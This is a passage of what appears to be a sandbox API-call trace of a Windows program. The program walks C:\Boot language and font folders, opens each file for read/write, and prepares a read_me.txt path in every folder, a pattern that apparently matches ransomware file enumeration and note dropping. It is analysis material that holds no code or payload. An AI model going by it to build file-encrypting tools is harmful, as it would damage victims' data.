ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x540000, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0077.642] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf") returned 30 [0077.642] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.643] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x540000, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0077.643] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf") returned 30 [0077.643] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.643] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x540000, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0077.643] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 31 [0077.643] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.643] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x540000, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0077.643] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.643] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\read_me.txt") returned 29 [0077.643] GetProcessHeap () returned 0x540000 [0077.643] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0077.643] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 9 [0077.643] GetProcessHeap () returned 0x540000 [0077.643] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.647] GetProcessHeap () returned 0x540000 [0077.648] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.648] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR\\*") returned 19 [0077.648] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.648] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR\\.") returned 19 [0077.648] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.648] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR\\..") returned 20 [0077.648] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x540000, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.648] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 33 [0077.648] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.649] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x540000, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.649] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.649] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR\\read_me.txt") returned 29 [0077.649] GetProcessHeap () returned 0x540000 [0077.649] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0077.649] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 10 [0077.649] GetProcessHeap () returned 0x540000 [0077.649] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.652] GetProcessHeap () returned 0x540000 [0077.652] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.652] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU\\*") returned 19 [0077.652] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.652] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU\\.") returned 19 [0077.652] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.652] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU\\..") returned 20 [0077.652] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x540000, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.652] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 33 [0077.652] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.652] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x540000, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.652] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.652] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU\\read_me.txt") returned 29 [0077.652] GetProcessHeap () returned 0x540000 [0077.652] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0077.652] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 11 [0077.652] GetProcessHeap () returned 0x540000 [0077.653] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.655] GetProcessHeap () returned 0x540000 [0077.655] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.655] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\it-IT\\*") returned 19 [0077.655] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.656] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\it-IT\\.") returned 19 [0077.656] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.656] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\it-IT\\..") returned 20 [0077.656] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x540000, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.656] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 33 [0077.656] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.656] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x540000, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.656] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.656] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\it-IT\\read_me.txt") returned 29 [0077.656] GetProcessHeap () returned 0x540000 [0077.656] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0077.656] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 12 [0077.656] GetProcessHeap () returned 0x540000 [0077.657] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.659] GetProcessHeap () returned 0x540000 [0077.659] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.659] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP\\*") returned 19 [0077.659] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.660] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP\\.") returned 19 [0077.660] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.660] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP\\..") returned 20 [0077.660] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x540000, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.660] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 33 [0077.660] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.660] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x540000, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.660] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.660] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP\\read_me.txt") returned 29 [0077.660] GetProcessHeap () returned 0x540000 [0077.660] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0077.660] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 13 [0077.660] GetProcessHeap () returned 0x540000 [0077.660] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.665] GetProcessHeap () returned 0x540000 [0077.665] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.665] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR\\*") returned 19 [0077.665] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.665] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR\\.") returned 19 [0077.665] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.665] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR\\..") returned 20 [0077.665] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x540000, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.665] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 33 [0077.666] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.666] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x540000, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.666] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.666] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR\\read_me.txt") returned 29 [0077.666] GetProcessHeap () returned 0x540000 [0077.666] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0077.666] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 14 [0077.666] GetProcessHeap () returned 0x540000 [0077.666] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.669] GetProcessHeap () returned 0x540000 [0077.669] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.669] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO\\*") returned 19 [0077.669] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.669] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO\\.") returned 19 [0077.669] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.669] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO\\..") returned 20 [0077.669] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x540000, dwReserved1=0x0, cFileName="bootmgr.exe.mui", 